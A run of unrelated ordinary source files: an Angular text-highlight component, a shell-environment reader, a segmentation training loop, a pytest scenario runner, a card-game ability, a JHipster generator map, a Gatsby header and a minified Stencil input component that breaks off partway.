import { __decorate } from "tslib"; import { Component, Input, ChangeDetectionStrategy, ViewEncapsulation } from '@angular/core'; import { regExpEscape, toString } from '../util/util'; /** * A component that helps with text highlighting. * * If splits the `result` text into parts that contain the searched `term` and generates the HTML markup to simplify * highlighting: * * Ex. `result="Alaska"` and `term="as"` will produce `Al<span class="ngb-highlight">as</span>ka`. */ import * as ɵngcc0 from '@angular/core'; import * as ɵngcc1 from '@angular/common'; function NgbHighlight_ng_template_0_span_0_Template(rf, ctx) { if (rf & 1) { ɵngcc0.ɵɵelementStart(0, "span"); ɵngcc0.ɵɵtext(1); ɵngcc0.ɵɵelementEnd(); } if (rf & 2) { const part_r259 = ɵngcc0.ɵɵnextContext().$implicit; const ctx_r261 = ɵngcc0.ɵɵnextContext(); ɵngcc0.ɵɵclassMap(ctx_r261.highlightClass); ɵngcc0.ɵɵadvance(1); ɵngcc0.ɵɵtextInterpolate(part_r259); } } function NgbHighlight_ng_template_0_ng_template_1_Template(rf, ctx) { if (rf & 1) { ɵngcc0.ɵɵtext(0); } if (rf & 2) { const part_r259 = ɵngcc0.ɵɵnextContext().$implicit; ɵngcc0.ɵɵtextInterpolate(part_r259); } } function NgbHighlight_ng_template_0_Template(rf, ctx) { if (rf & 1) { ɵngcc0.ɵɵtemplate(0, NgbHighlight_ng_template_0_span_0_Template, 2, 3, "span", 1); ɵngcc0.ɵɵtemplate(1, NgbHighlight_ng_template_0_ng_template_1_Template, 1, 1, "ng-template", null, 2, ɵngcc0.ɵɵtemplateRefExtractor); } if (rf & 2) { const isOdd_r260 = ctx.odd; const _r262 = ɵngcc0.ɵɵreference(2); ɵngcc0.ɵɵproperty("ngIf", isOdd_r260)("ngIfElse", _r262); } } let NgbHighlight = class NgbHighlight { constructor() { /** * The CSS class for `<span>` elements wrapping the `term` inside the `result`. */ this.highlightClass = 'ngb-highlight'; } ngOnChanges(changes) { const result = toString(this.result); const terms = Array.isArray(this.term) ? this.term : [this.term]; const escapedTerms = terms.map(term => regExpEscape(toString(term))).filter(term => term); this.parts = escapedTerms.length ? result.split(new RegExp(`(${escapedTerms.join('|')})`, 'gmi')) : [result]; } }; NgbHighlight.ɵfac = function NgbHighlight_Factory(t) { return new (t || NgbHighlight)(); }; NgbHighlight.ɵcmp = ɵngcc0.ɵɵdefineComponent({ type: NgbHighlight, selectors: [["ngb-highlight"]], inputs: { highlightClass: "highlightClass", result: "result", term: "term" }, features: [ɵngcc0.ɵɵNgOnChangesFeature], decls: 1, vars: 1, consts: [["ngFor", "", 3, "ngForOf"], [3, "class", 4, "ngIf", "ngIfElse"], ["even", ""]], template: function NgbHighlight_Template(rf, ctx) { if (rf & 1) { ɵngcc0.ɵɵtemplate(0, NgbHighlight_ng_template_0_Template, 3, 2, "ng-template", 0); } if (rf & 2) { ɵngcc0.ɵɵproperty("ngForOf", ctx.parts); } }, directives: [ɵngcc1.NgForOf, ɵngcc1.NgIf], styles: [".ngb-highlight{font-weight:700}"], encapsulation: 2, changeDetection: 0 }); __decorate([ Input() ], NgbHighlight.prototype, "highlightClass", void 0); __decorate([ Input() ], NgbHighlight.prototype, "result", void 0); __decorate([ Input() ], NgbHighlight.prototype, "term", void 0); /*@__PURE__*/ (function () { ɵngcc0.ɵsetClassMetadata(NgbHighlight, [{ type: Component, args: [{ selector: 'ngb-highlight', changeDetection: ChangeDetectionStrategy.OnPush, encapsulation: ViewEncapsulation.None, template: `<ng-template ngFor [ngForOf]="parts" let-part let-isOdd="odd">` + `<span *ngIf="isOdd; else even" [class]="highlightClass">{{part}}</span><ng-template #even>{{part}}</ng-template>` + `</ng-template>`, styles: [".ngb-highlight{font-weight:700}"] }] }], function () { return []; }, { highlightClass: [{ type: Input }], result: [{ type: Input }], term: [{ type: Input }] }); })(); export { NgbHighlight }; //# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiaGlnaGxpZ2h0LmpzIiwic291cmNlcyI6WyJuZzovQG5nLWJvb3RzdHJhcC9uZy1ib290c3RyYXAvdHlwZWFoZWFkL2hpZ2hsaWdodC50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiO0FBQUEsT0FBTyxFQUFDLFNBQVMsRUFBRSxLQUFLLEVBQWEsdUJBQXVCLEVBQWlCLGlCQUFpQixFQUFDLE1BQU0sZUFBZSxDQUFDO0FBQ3JILE9BQU8sRUFBQyxZQUFZLEVBQUUsUUFBUSxFQUFDLE1BQU0sY0FBYyxDQUFDO0FBRXBEOzs7Ozs7O0dBT0c7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O0FBVUgsSUFBYSxZQUFZLEdBQXpCLE1BQWEsWUFBWTtJQUF6QjtRQUdFOztXQUVHO1FBQ00sbUJBQWMsR0FBRyxlQUFlLENBQUM7SUF3QjVDLENBQUM7SUFSQyxXQUFXLENBQUMsT0FBc0I7UUFDaEMsTUFBTSxNQUFNLEdBQUcsUUFBUSxDQUFDLElBQUksQ0FBQyxNQUFNLENBQUMsQ0FBQztRQUVyQyxNQUFNLEtBQUssR0FBRyxLQUFLLENBQUMsT0FBTyxDQUFDLElBQUksQ0FBQyxJQUFJLENBQUMsQ0FBQyxDQUFDLENBQUMsSUFBSSxDQUFDLElBQUksQ0FBQyxDQUFDLENBQUMsQ0FBQyxJQUFJLENBQUMsSUFBSSxDQUFDLENBQUM7UUFDakUsTUFBTSxZQUFZLEdBQUcsS0FBSyxDQUFDLEdBQUcsQ0FBQyxJQUFJLENBQUMsRUFBRSxDQUFDLFlBQVksQ0FBQyxRQUFRLENBQUMsSUFBSSxDQUFDLENBQUMsQ0FBQyxDQUFDLE1BQU0sQ0FBQyxJQUFJLENBQUMsRUFBRSxDQUFDLElBQUksQ0FBQyxDQUFDO1FBRTFGLElBQUksQ0FBQyxLQUFLLEdBQUcsWUFBWSxDQUFDLE1BQU0sQ0FBQyxDQUFDLENBQUMsTUFBTSxDQUFDLEtBQUssQ0FBQyxJQUFJLE1BQU0sQ0FBQyxJQUFJLFlBQVksQ0FBQyxJQUFJLENBQUMsR0FBRyxDQUFDLEdBQUcsRUFBRSxLQUFLLENBQUMsQ0FBQyxDQUFDLENBQUMsQ0FBQyxDQUFDLE1BQU0sQ0FBQyxDQUFDO0lBQy9HLENBQUM7Q0FDRjs7Ozs7O3lJQUFBO0FBeEJVO0lBQVIsS0FBSyxFQUFFO29EQUFrQztBQVFqQztJQUFSLEtBQUssRUFBRTs0Q0FBZ0I7QUFNZjtJQUFSLEtBQUssRUFBRTswQ0FBa0MsQ0FDNUM7QUFyQmEsWUFBWSxvQkFUeEIsU0FBUyxDQUFDLFVBQ1QsUUFBUSxFQUFFO01BQWUsVUFDekI7TUFBZSxFQUFFO2NBQXVCLENBQUMsTUFBTSxVQUMvQztDQUFhLEVBQUUsaUJBQWlCLENBQUMsSUFBSSxVQUNyQyxRQUFRLEVBQUU7NENBQWdFO0lBQ3RFO3lCQUFrSCxlQUNsSCxnQkFBZ0IsMkRBRXJCLENBQUMsSUFDVyxZQUFZLENBOEJ4Qjs7Ozs7Ozs7OztvQkFDRDtTQS9CYSxZQUFZIiwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IHtDb21wb25lbnQsIElucHV0LCBPbkNoYW5nZXMsIENoYW5nZURldGVjdGlvblN0cmF0ZWd5LCBTaW1wbGVDaGFuZ2VzLCBWaWV3RW5jYXBzdWxhdGlvbn0gZnJvbSAnQGFuZ3VsYXIvY29yZSc7XG5pbXBvcnQge3JlZ0V4cEVzY2FwZSwgdG9TdHJpbmd9IGZyb20gJy4uL3V0aWwvdXRpbCc7XG5cbi8qKlxuICogQSBjb21wb25lbnQgdGhhdCBoZWxwcyB3aXRoIHRleHQgaGlnaGxpZ2h0aW5nLlxuICpcbiAqIElmIHNwbGl0cyB0aGUgYHJlc3VsdGAgdGV4dCBpbnRvIHBhcnRzIHRoYXQgY29udGFpbiB0aGUgc2VhcmNoZWQgYHRlcm1gIGFuZCBnZW5lcmF0ZXMgdGhlIEhUTUwgbWFya3VwIHRvIHNpbXBsaWZ5XG4gKiBoaWdobGlnaHRpbmc6XG4gKlxuICogRXguIGByZXN1bHQ9XCJBbGFza2FcImAgYW5kIGB0ZXJtPVwiYXNcImAgd2lsbCBwcm9kdWNlIGBBbDxzcGFuIGNsYXNzPVwibmdiLWhpZ2hsaWdodFwiPmFzPC9zcGFuPmthYC5cbiAqL1xuQENvbXBvbmVudCh7XG4gIHNlbGVjdG9yOiAnbmdiLWhpZ2hsaWdodCcsXG4gIGNoYW5nZURldGVjdGlvbjogQ2hhbmdlRGV0ZWN0aW9uU3RyYXRlZ3kuT25QdXNoLFxuICBlbmNhcHN1bGF0aW9uOiBWaWV3RW5jYXBzdWxhdGlvbi5Ob25lLFxuICB0ZW1wbGF0ZTogYDxuZy10ZW1wbGF0ZSBuZ0ZvciBbbmdGb3JPZl09XCJwYXJ0c1wiIGxldC1wYXJ0IGxldC1pc09kZD1cIm9kZFwiPmAgK1xuICAgICAgYDxzcGFuICpuZ0lmPVwiaXNPZGQ7IGVsc2UgZXZlblwiIFtjbGFzc109XCJoaWdobGlnaHRDbGFzc1wiPnt7cGFydH19PC9zcGFuPjxuZy10ZW1wbGF0ZSAjZXZlbj57e3BhcnR9fTwvbmctdGVtcGxhdGU+YCArXG4gICAgICBgPC9uZy10ZW1wbGF0ZT5gLCAgLy8gdGVtcGxhdGUgbmVlZHMgdG8gYmUgZm9ybWF0dGVkIGluIGEgY2VydGFpbiB3YXkgc28gd2UgZG9uJ3QgYWRkIGVtcHR5IHRleHQgbm9kZXNcbiAgc3R5bGVVcmxzOiBbJy4vaGlnaGxpZ2h0LnNjc3MnXVxufSlcbmV4cG9ydCBjbGFzcyBOZ2JIaWdobGlnaHQgaW1wbGVtZW50cyBPbkNoYW5nZXMge1xuICBwYXJ0czogc3RyaW5nW107XG5cbiAgLyoqXG4gICAqIFRoZSBDU1MgY2xhc3MgZm9yIGA8c3Bhbj5gIGVsZW1lbnRzIHdyYXBwaW5nIHRoZSBgdGVybWAgaW5zaWRlIHRoZSBgcmVzdWx0YC5cbiAgICovXG4gIEBJbnB1dCgpIGhpZ2hsaWdodENsYXNzID0gJ25nYi1oaWdobGlnaHQnO1xuXG4gIC8qKlxuICAgKiBUaGUgdGV4dCBoaWdobGlnaHRpbmcgaXMgYWRkZWQgdG8uXG4gICAqXG4gICAqIElmIHRoZSBgdGVybWAgaXMgZm91bmQgaW5zaWRlIHRoaXMgdGV4dCwgaXQgd2lsbCBiZSBoaWdobGlnaHRlZC5cbiAgICogSWYgdGhlIGB0ZXJtYCBjb250YWlucyBhcnJheSB0aGVuIGFsbCB0aGUgaXRlbXMgZnJvbSBpdCB3aWxsIGJlIGhpZ2hsaWdodGVkIGluc2lkZSB0aGUgdGV4dC5cbiAgICovXG4gIEBJbnB1dCgpIHJlc3VsdDogc3RyaW5nO1xuXG4gIC8qKlxuICAgKiBUaGUgdGVybSBvciBhcnJheSBvZiB0ZXJtcyB0byBiZSBoaWdobGlnaHRlZC5cbiAgICogU2luY2UgdmVyc2lvbiBgdjQuMi4wYCB0ZXJtIGNvdWxkIGJlIGEgYHN0cmluZ1tdYFxuICAgKi9cbiAgQElucHV0KCkgdGVybTogc3RyaW5nIHwgcmVhZG9ubHkgc3RyaW5nW107XG5cbiAgbmdPbkNoYW5nZXMoY2hhbmdlczogU2ltcGxlQ2hhbmdlcykge1xuICAgIGNvbnN0IHJlc3VsdCA9IHRvU3RyaW5nKHRoaXMucmVzdWx0KTtcblxuICAgIGNvbnN0IHRlcm1zID0gQXJyYXkuaXNBcnJheSh0aGlzLnRlcm0pID8gdGhpcy50ZXJtIDogW3RoaXMudGVybV07XG4gICAgY29uc3QgZXNjYXBlZFRlcm1zID0gdGVybXMubWFwKHRlcm0gPT4gcmVnRXhwRXNjYXBlKHRvU3RyaW5nKHRlcm0pKSkuZmlsdGVyKHRlcm0gPT4gdGVybSk7XG5cbiAgICB0aGlzLnBhcnRzID0gZXNjYXBlZFRlcm1zLmxlbmd0aCA/IHJlc3VsdC5zcGxpdChuZXcgUmVnRXhwKGAoJHtlc2NhcGVkVGVybXMuam9pbignfCcpfSlgLCAnZ21pJykpIDogW3Jlc3VsdF07XG4gIH1cbn1cbiJdfQ==
const ShellQuote = require("shell-quote"); const execa = require("execa"); const defaultShell = require("default-shell"); const stripAnsi = require("strip-ansi"); async function getShellEnv({ cwd } = {}) { const args = [ "-ilc", [ ...(!cwd ? [] : [ShellQuote.quote(["cd", cwd])]), 'echo -n "_SHELL_ENV_DELIMITER_"', "env", 'echo -n "_SHELL_ENV_DELIMITER_"', "which node", "exit" ].join("; ") ]; const result = await execa(defaultShell, args); const env = {}; for (const line of stripAnsi(result.stdout) .split("\n") .filter(line => !!line)) { const parts = line.split("="); env[parts.shift()] = parts.join("="); } return env; } module.exports = getShellEnv;
import random import warnings import numpy as np import torch from mmcv.parallel import MMDataParallel, MMDistributedDataParallel from mmcv.runner import build_optimizer, build_runner from mmseg.core import DistEvalHook, EvalHook from mmseg.datasets import build_dataloader, build_dataset from mmseg.utils import get_root_logger def set_random_seed(seed, deterministic=False): """Set random seed. Args: seed (int): Seed to be used. deterministic (bool): Whether to set the deterministic option for CUDNN backend, i.e., set `torch.backends.cudnn.deterministic` to True and `torch.backends.cudnn.benchmark` to False. Default: False. """ random.seed(seed) np.random.seed(seed) torch.manual_seed(seed) torch.cuda.manual_seed_all(seed) if deterministic: torch.backends.cudnn.deterministic = True torch.backends.cudnn.benchmark = False def train_segmentor(model, dataset, cfg, distributed=False, validate=False, timestamp=None, meta=None): """Launch segmentor training.""" logger = get_root_logger(cfg.log_level) # prepare data loaders dataset = dataset if isinstance(dataset, (list, tuple)) else [dataset] data_loaders = [ build_dataloader( ds, cfg.data.samples_per_gpu, cfg.data.workers_per_gpu, # cfg.gpus will be ignored if distributed len(cfg.gpu_ids), dist=distributed, seed=cfg.seed, drop_last=True) for ds in dataset ] # put model on gpus if distributed: find_unused_parameters = cfg.get('find_unused_parameters', False) # Sets the `find_unused_parameters` parameter in # torch.nn.parallel.DistributedDataParallel model = MMDistributedDataParallel( model.cuda(), device_ids=[torch.cuda.current_device()], broadcast_buffers=False, find_unused_parameters=find_unused_parameters) else: model = MMDataParallel( model.cuda(cfg.gpu_ids[0]), device_ids=cfg.gpu_ids) # build runner optimizer = build_optimizer(model, cfg.optimizer) if cfg.get('runner') is None: cfg.runner = {'type': 'IterBasedRunner', 'max_iters': cfg.total_iters} warnings.warn( 'config is now expected to have a `runner` section, ' 'please set `runner` in your config.', UserWarning) runner = build_runner( cfg.runner, default_args=dict( model=model, batch_processor=None, optimizer=optimizer, work_dir=cfg.work_dir, logger=logger, meta=meta)) # register hooks runner.register_training_hooks(cfg.lr_config, cfg.optimizer_config, cfg.checkpoint_config, cfg.log_config, cfg.get('momentum_config', None)) # an ugly walkaround to make the .log and .log.json filenames the same runner.timestamp = timestamp # register eval hooks if validate: val_dataset = build_dataset(cfg.data.val, dict(test_mode=True)) val_dataloader = build_dataloader( val_dataset, samples_per_gpu=1, workers_per_gpu=cfg.data.workers_per_gpu, dist=distributed, shuffle=False) eval_cfg = cfg.get('evaluation', {}) eval_cfg['by_epoch'] = cfg.runner['type'] != 'IterBasedRunner' eval_hook = DistEvalHook if distributed else EvalHook runner.register_hook(eval_hook(val_dataloader, **eval_cfg)) if cfg.resume_from: runner.resume(cfg.resume_from) elif cfg.load_from: runner.load_checkpoint(cfg.load_from) runner.run(data_loaders, cfg.workflow)
import importlib import json import os import re from copy import deepcopy from typing import Sequence, Tuple, MutableSequence, Callable import jsonschema import pytest import yaml import util from dresources import DResource from external_services import ExternalServices from manifest import Resource from mock_external_services import MockExternalServices def find_scenarios(scenario_pattern: str) -> Sequence[Tuple[str, dict, dict, dict]]: scenarios: MutableSequence[Tuple[str, dict, dict, dict]] = [] for dir_name, subdir_list, file_list in os.walk('./tests/scenarios'): for file_name in file_list: full_file_name = os.path.join(dir_name, file_name) if not re.match(scenario_pattern, full_file_name): continue file_description = full_file_name[0:-5] try: with open(full_file_name, 'r') as f: if file_name.endswith('.yaml'): content: dict = yaml.load(f) elif file_name.endswith('.json'): content: dict = json.loads(f.read()) else: raise Exception(f"unsupported scenarios file: {full_file_name}") default_resource: dict = content["default_resource"] if "default_resource" in content else {} default_expected: dict = content["default_expected"] if "default_expected" in content else {} file_mock: dict = content["mock"] if "mock" in content else {} for scenario in content["scenarios"]: file_mock_copy: dict = deepcopy(file_mock) scenarios.append(( file_description + '_' + (scenario["description"] if "description" in scenario else "unknown"), util.merge(file_mock_copy, scenario["mock"]) if "mock" in scenario else file_mock_copy, util.merge(deepcopy(default_resource), scenario["resource"] if "resource" in scenario else {}), util.merge(deepcopy(default_expected), scenario["expected"]) )) except Exception as e: raise Exception(f"failed creating scenario from '{full_file_name}'") from e return scenarios def create_resource(svc: MockExternalServices, resource: dict, include_config: bool = False, extra_data: dict = None) -> DResource: """Creates a resource instance (subclass of DResource).""" module = importlib.import_module(resource["module"]) resource_type: Callable[[dict, ExternalServices], DResource] = getattr(module, resource["class"]) data = {"name": resource["name"] if 'name' in resource else 'test', "type": resource["class"], "version": resource["version"] if "version" in resource else "0.0.0", "verbose": resource["verbose"] if 'verbose' in resource else True, "workspace": "/workspace"} if include_config: data.update({"config": resource["config"]}) if extra_data is not None: data.update(extra_data) return resource_type(data, svc) @pytest.mark.parametrize("description,mock,resource,expected", find_scenarios(scenario_pattern=r'.*[a-zA-Z]\.(json|yaml)$')) def test_resources(capsys, description: str, mock: dict, resource: dict, expected: dict): if description: pass mock_services = MockExternalServices( gcloud_access_token='random-string-here', gcp_projects=mock["gcp_projects"] if "gcp_projects" in mock else {}, gcp_project_billing_infos=mock[ "gcp_project_billing_accounts"] if "gcp_project_billing_accounts" in mock else {}, gcp_project_apis=mock["gcp_project_apis"] if "gcp_project_apis" in mock else {}, gcp_iam_service_accounts=mock["gcp_iam_service_accounts"] if "gcp_iam_service_accounts" in mock else {}, gcp_iam_policies=mock["gcp_iam_policies"] if "gcp_iam_policies" in mock else {}, gcp_sql_tiers=mock["gcp_sql_tiers"] if "gcp_sql_tiers" in mock else {}, gcp_sql_flags=mock["gcp_sql_flags"] if "gcp_sql_flags" in mock else {}, gcp_sql_instances=mock["gcp_sql_instances"] if "gcp_sql_instances" in mock else {}, gcp_sql_execution_results=mock["gcp_sql_execution_results"] if "gcp_sql_execution_results" in mock else {}, gcp_sql_users=mock["gcp_sql_users"] if "gcp_sql_users" in mock else {}, gke_clusters=mock["gke_clusters"] if "gke_clusters" in mock else {}, gke_server_config=mock["gke_server_config"] if "gke_server_config" in mock else {}, gcp_compute_regional_ip_addresses=mock[ "gcp_compute_regional_ip_addresses"] if "gcp_compute_regional_ip_addresses" in mock else {}, gcp_compute_global_ip_addresses=mock[ "gcp_compute_global_ip_addresses"] if "gcp_compute_global_ip_addresses" in mock else {}, k8s_objects=mock["k8s_objects"] if "k8s_objects" in mock else {}, k8s_create_times=mock["k8s_create_times"] if "k8s_create_times" in mock else {}) # TODO: verify mock calls (eg. verify that a cluster was indeed created by calling the mock, with the right values) # invoke the "init" action, and read its result from stdout create_resource(svc=mock_services, resource=resource).execute(['init']) init_result = json.loads(capsys.readouterr().out) jsonschema.validate(init_result, Resource.init_action_stdout_schema) # if the "init" action provided a "config_schema", validate the scenario resource configuration to it if 'config_schema' in init_result: jsonschema.validate(resource["config"], init_result['config_schema']) # test "state" action, and read its result from stdout if 'exception' in expected: with pytest.raises(eval(expected['exception']), match=expected["match"] if 'match' in expected else r'.*'): create_resource(svc=mock_services, resource=resource, include_config=True).execute(['state']) else: create_resource(svc=mock_services, resource=resource, include_config=True).execute(['state']) state = json.loads(capsys.readouterr().out) assert state == expected # if "state" returned "STALE" status, also execute its list of specified actions if state['status'] == "STALE": for action in state["actions"]: extra_data: dict = {'staleState': state['staleState'] if 'staleState' in state else {}} args = action['args'] if 'args' in action else [] create_resource(svc=mock_services, resource=resource, include_config=True, extra_data=extra_data).execute(args)
const DrawCard = require('../../../drawcard.js'); class OlennasCunning extends DrawCard { setupCardAbilities() { this.reaction({ when: { afterChallenge: event => ['intrigue', 'power'].includes(event.challenge.challengeType) && event.challenge.winner === this.controller }, handler: () => { let buttons = [ { text: 'Character', method: 'typeSelected', arg: 'character' }, { text: 'Location', method: 'typeSelected', arg: 'location' }, { text: 'Attachment', method: 'typeSelected', arg: 'attachment' }, { text: 'Event', method: 'typeSelected', arg: 'event' } ]; this.game.promptWithMenu(this.game.currentChallenge.loser, this, { activePrompt: { menuTitle: 'Select a card type', buttons: buttons }, source: this }); } }); } typeSelected(player, type) { this.game.promptForDeckSearch(this.controller, { activePromptTitle: 'Select a card', cardCondition: card => card.getType() !== type, onSelect: (player, card) => this.cardSelected(player, card), onCancel: player => this.doneSelecting(player), source: this }); return true; } cardSelected(player, card) { player.moveCard(card, 'hand'); this.game.addMessage('{0} plays {1} to search their deck and add {2} to their hand', player, this, card); } doneSelecting(player) { this.game.addMessage('{0} plays {1} to search their deck but does not add any card to their hand', player, this); } } OlennasCunning.code = '01196'; module.exports = OlennasCunning;
/** * Copyright 2019-2021 the original author or authors from the JHipster project. * * This file is part of the JHipster project, see https://www.jhipster.tech/ * for more information. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ const baseConstants = require('generator-jhipster/generators/generator-constants'); const constants = require('../generator-dotnetcore-constants'); const utils = require('../utils'); /* Constants use throughout */ const INTERPOLATE_REGEX = baseConstants.INTERPOLATE_REGEX; const SERVER_SRC_DIR = constants.SERVER_SRC_DIR; const SERVER_TEST_DIR = constants.SERVER_TEST_DIR; const PROJECT_CROSSCUTTING_SUFFIX = constants.PROJECT_CROSSCUTTING_SUFFIX; const PROJECT_SERVICE_SUFFIX = constants.PROJECT_SERVICE_SUFFIX; const PROJECT_INFRASTRUCTURE_SUFFIX = constants.PROJECT_INFRASTRUCTURE_SUFFIX; const serverFiles = { server: [ { path: SERVER_SRC_DIR, templates: [ { file: 'Project.Domain/Entities/Entity.cs', renameTo: generator => `${generator.pascalizedBaseName}${constants.PROJECT_DOMAIN_SUFFIX}/Entities/${generator.asEntity( generator.entityClass )}.cs`, }, { file: 'Project/Controllers/EntityController.cs', renameTo: generator => `${generator.mainProjectDir}/Controllers/${generator.pascalizedEntityClassPlural}Controller.cs`, }, { file: 'Project.Domain/Repositories/Interfaces/IEntityRepository.cs', renameTo: generator => `${generator.pascalizedBaseName}${constants.PROJECT_DOMAIN_SUFFIX}/Repositories/Interfaces/I${generator.asEntity( generator.entityClass )}Repository.cs`, }, { file: 'Project.Infrastructure/Data/Repositories/EntityRepository.cs', renameTo: generator => `${generator.pascalizedBaseName}${PROJECT_INFRASTRUCTURE_SUFFIX}/Data/Repositories/${generator.asEntity( generator.entityClass )}Repository.cs`, }, ], }, { path: SERVER_SRC_DIR, templates: [ { file: 'Project/Configuration/AutoMapper/AutoMapperProfile.cs', renameTo: generator => `${generator.mainProjectDir}/Configuration/AutoMapper/AutoMapperProfile.cs`, }, ], }, { condition: generator => generator.dto === 'mapstruct', path: SERVER_SRC_DIR, templates: [ { file: 'Project.Dto/Dto.cs', renameTo: generator => `${generator.pascalizedBaseName}${constants.PROJECT_DTO_SUFFIX}/${generator.asDto(generator.entityClass)}.cs`, }, ], }, { condition: generator => generator.dto === 'mapstruct', path: SERVER_SRC_DIR, templates: [ { file: 'Project.Dto/AuditedEntityBaseDto.cs', renameTo: generator => `${generator.pascalizedBaseName}${constants.PROJECT_DTO_SUFFIX}/AuditedEntityBaseDto.cs`, }, ], }, ], db: [ { path: SERVER_SRC_DIR, templates: [ { file: 'Project.Infrastructure/Data/ApplicationDatabaseContext.cs', renameTo: generator => `${generator.pascalizedBaseName}${PROJECT_INFRASTRUCTURE_SUFFIX}/Data/ApplicationDatabaseContext.cs`, }, ], }, ], test: [ { path: SERVER_TEST_DIR, templates: [ { file: 'Project.Test/Controllers/EntityControllerIntTest.cs', renameTo: generator => `${generator.testProjectDir}/Controllers/${generator.asEntity(generator.entityClass)}ControllerIntTest.cs`, }, ], }, ], service: [ { condition: generator => generator.service === 'serviceImpl', path: SERVER_SRC_DIR, templates: [ { file: 'Project.Domain.Services/Service.cs', renameTo: generator => `${generator.pascalizedBaseName}${PROJECT_SERVICE_SUFFIX}/${generator.entityClass}Service.cs`, }, { file: 'Project.Domain/Services/Interfaces/IService.cs', renameTo: generator => `${generator.pascalizedBaseName}${constants.PROJECT_DOMAIN_SUFFIX}/Services/Interfaces/I${generator.entityClass}Service.cs`, }, ], }, ], }; const gatlingTestsFiles = { gatlingTests: [ { condition: generator => generator.gatlingTests, path: SERVER_TEST_DIR, templates: [ { file: 'gatling/user-files/simulations/EntityGatlingTest.scala', options: { interpolate: INTERPOLATE_REGEX }, renameTo: generator => `gatling/user-files/simulations/${generator.entityClass}GatlingTest.scala`, }, ], }, ], }; function writeFiles() { return { writeServerFiles() { this.fields.forEach(field => { if (field.fieldIsEnum) { if (!this.skipServer) { const enumInfo = utils.getEnumInfo(field, this.clientRootFolder); enumInfo.namespace = this.namespace; const fieldType = field.fieldType; this.template( 'dotnetcore/src/Project.Crosscutting/Enums/Enum.cs.ejs', `src/${this.pascalizedBaseName}${PROJECT_CROSSCUTTING_SUFFIX}/Enums/${fieldType}.cs`, this, {}, enumInfo ); } } }); this.writeFilesToDisk(serverFiles, this, false, 'dotnetcore'); }, writeFilesGatling() { this.writeFilesToDisk(gatlingTestsFiles, this, false, this.fetchFromInstalledJHipster('entity-server/templates/src')); }, }; } module.exports = { serverFiles, writeFiles, };
import { Link } from "gatsby" import PropTypes from "prop-types" import React, { useState } from "react" import { Collapse, Navbar, NavbarToggler, NavbarBrand, Nav, NavItem, NavLink, } from "reactstrap" const Header = props => { const [isOpen, setIsOpen] = useState(false) const toggle = () => setIsOpen(!isOpen) return ( <div> <Navbar color="Light" light expand="md" fixed="top"> <div className="container"> <NavbarBrand href="/">CSCODERSHUB</NavbarBrand> <NavbarToggler onClick={toggle} /> <Collapse isOpen={isOpen} navbar> <Nav className="ml-auto" navbar> <NavItem> <NavLink> {" "} <Link to="/">Blog</Link> </NavLink> </NavItem> <NavItem> <NavLink> <Link to="https://cscodershub.netlify.app/about">About</Link> </NavLink> </NavItem> <NavItem> <NavLink> <Link to="https://cscodershub.netlify.app/">Home</Link> </NavLink> </NavItem> <NavItem> <NavLink> <Link to="https://cscodershub.netlify.app/teams">Teams</Link> </NavLink> </NavItem> </Nav> </Collapse> </div> </Navbar> </div> ) } Header.propTypes = { siteTitle: PropTypes.string, } Header.defaultProps = { siteTitle: ``, } export default Header
System.register(["./p-651ecf64.system.js"],function(t){"use strict";var e,n,i,u;return{setters:[function(t){e=t.r;n=t.c;i=t.h;u=t.H}],execute:function(){var s=function(){function t(t){e(this,t);this.valueChanged=n(this,"valueChanged",7);this.focusGained=n(this,"focusGained",7);this.focusLost=n(this,"focusLost",7)}t.prototype.handleChange=function(t){var e=parseFloat(t.target.value);if(!isNaN(e)){this.value=e}else{this.value=null}this.valueChanged.emit(this.value)};t.prototype.render=function(){var t=this;return i(u,{class:{"og-form-item__editor":true}},i("input",{type:"number",class:"og-input__input",value:this.value,step:this.step,min:this.min,max:this.max,disabled:this.disabled,onInput:function(e){return t.handleChange(e)},onFocus:function(e){return t.focusGained.emit(e)},onBlur:function(e){return t.focusLost.emit(e)},placeholder:this.placeholder}),i("div",{class:"og-input__indicator"}))};Object.defineProperty(t,"style",{get:function(){return":host{--og-input-BorderColor:transparent;--og-input-Background:var(--OG-COLOR-SHADE--80--05,rgba(62,129,163,0.05));--og-input-Padding:4px;--og-input__input-Background:transparent;--og-input__input-BorderColor:var(--OG-COLOR-SHADE--50,#8fadbc);--og-input__input-BorderColor--disabled:var(--OG-COLOR-SHADE--70--50,rgba(99,140,161,0.5));--og-input__input-LineHeight:1;--og-input__input-Color:inherit;--og-input__input-Color--disabled:var(--OG-COLOR-SHADE--100--50,rgba(57,83,96,0.5));--og-input__input-FontFamily:inherit;--og-input__input-FontSize:inherit;--og-input__input-Padding:24px 0 4px;--og-input__input-Appearance:textfield;--og-input__indicator-Width:0;--og-input__indicator-Height:2px;--og-input__indicator-Background:var(--OG-COLOR-PRIMARY--100,#1da2d3);display:block;padding:var(--og-input-Padding);background:var(--og-input-Background);position:relative;-webkit-box-sizing:border-box;box-sizing:border-box}:host *,:host :after,:host :before{-webkit-box-sizing:inherit;box-sizing:inherit}.og-input__input{display:block;background:var(--og-input__input-Background);width:100%;color:var(--og-input__input-Color);font-family:var(--og-input__input-FontFamily);font-size:var(--og-input__input-FontSize);line-height:var(--og-input__input-LineHeight);padding:var(--og-input__input-Padding);margin:0;border-width:0 0 var(--og-input__input-BorderWidth,1px) 0;border-style:solid;border-color:var(--og-input__input-BorderColor);outline:none}.og-input__indicator{display:var(--og-input__indicator-Display);position:absolute;bottom:var(--og-input-Padding);left:var(--og-input-Padding);width:var(--og-input__indicator-Width);height:var(--og-input__indicator-Height);background-color:var(--og-input__indicator-Background);-webkit-transition:all .3s ease;transition:all .3s ease}.og-input__input:focus+.og-input__indicator{--og-input__indicator-Width:calc(100% - (var(--og-input-Padding) * 